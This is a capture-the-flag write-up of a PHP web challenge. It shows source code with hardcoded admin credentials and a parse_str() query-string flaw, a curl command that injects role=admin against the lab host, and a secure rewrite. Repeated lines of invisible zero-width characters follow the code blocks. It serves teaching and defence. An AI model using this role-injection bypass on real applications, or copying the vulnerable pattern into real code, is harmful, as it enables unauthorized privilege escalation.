Творение безумца (Work of a Madman)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Authentication bypass with hardcoded credentials, Query string parameter injection via parse_str(), Session role manipulation, Source code analysis for credential discovery

Summary

Task: PHP application with source code provided. Solution: Found hardcoded credentials and exploited parse_str() query string injection to set admin role in session.

Творение безумца (Work of a Madman) — hackerlab

Description

"Что опять придумал этот безумец?" (What has this madman come up with again?)

The task provides PHP application source code (workOfaMadman_sources.zip).

Analysis

Source code: login.php

 php read-only • copy allowed Copy
<?php
session_start();

$valid_username = 'admin';
$valid_password = 'bl4ckbl4ckbl4ck';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';
    
    if ($username === $valid_username && $password === $valid_password) {
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = $username;
        
        // VULNERABILITY: role is taken from GET parameter!
        parse_str($_SERVER['QUERY_STRING'], $params);
        $_SESSION['role'] = $params['role'] ?? 'user';
        
        header('Location: admin.php');
        exit;
    }
}
?>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Issues found:

1. Hardcoded credentials: admin:bl4ckbl4ckbl4ck — credentials directly in the code
2. Insecure role assignment: User role is taken from GET parameter role via parse_str()

Source code: admin.php

 php read-only • copy allowed Copy
<?php
session_start();

if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    header('Location: login.php');
    exit;
}

if ($_SESSION['role'] === 'admin') {
    echo "FLAG: CODEBY{REDACTED}";
} else {
    echo "Access denied. Admin role required.";
}
?>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Logic: The flag is displayed only if $_SESSION['role'] === 'admin'.

Vulnerability: Query String Injection

The function parse_str($_SERVER['QUERY_STRING'], $params) parses GET parameters into the $params array. Then $params['role'] is directly assigned to the session without validation.

Attack: Add ?role=admin to the URL during POST request to login.php.

Solution

Exploitation with a single command

 bash read-only • copy allowed Copy
curl -s -c cookies.txt -b cookies.txt -L -X POST \
    "http://62.173.140.174:16062/login.php?role=admin" \
    -d "username=admin&password=bl4ckbl4ckbl4ck"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Command breakdown:

• -c cookies.txt -b cookies.txt — save and use cookies (for session)
• -L — follow redirects (login.php → admin.php)
• -X POST — POST request with credentials
• ?role=admin — role injection via query string
• -d "username=admin&password=bl4ckbl4ckbl4ck" — hardcoded credentials

What happens:

1. POST request to login.php?role=admin with correct credentials
2. parse_str() parses role=admin from query string
3. $_SESSION['role'] = 'admin' — role is set!
4. Redirect to admin.php
5. Check $_SESSION['role'] === 'admin' passes
6. Flag is displayed ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Lessons

1. Never trust user input for setting roles:

    php read-only • copy allowed Copy
   // BAD
   $_SESSION['role'] = $params['role'] ?? 'user';
   
   // GOOD
   $_SESSION['role'] = 'user'; // Always default

2. parse_str() is dangerous without validation: This function can overwrite any variables, including security-critical ones.

3. Hardcoded credentials are a critical vulnerability: Credentials should be stored in protected configuration or database with password hashing.

4. Task name is a hint: "Work of a Madman" hints at illogical/dangerous code. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Secure Alternative

 php read-only • copy allowed Copy
<?php
session_start();

// Credentials from protected configuration
$valid_username = getenv('ADMIN_USER');
$valid_password_hash = getenv('ADMIN_PASS_HASH');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';
    
    if ($username === $valid_username && password_verify($password, $valid_password_hash)) {
        $_SESSION['logged_in'] = true;
        $_SESSION['username'] = $username;
        
        // Role from database, NOT from user input
        $_SESSION['role'] = getUserRoleFromDatabase($username);
        
        header('Location: admin.php');
        exit;
    }
}
?>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Useful Commands

 bash read-only • copy allowed Copy
# Analyze source code for vulnerabilities
grep -r "parse_str" *.php
grep -r "\$_SESSION\['role'\]" *.php
grep -r "password" *.php

# Test query string injection
curl -v "http://target/login.php?role=admin" -d "username=admin&password=pass"

# Check session after login
curl -c cookies.txt -b cookies.txt -L "http://target/admin.php"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍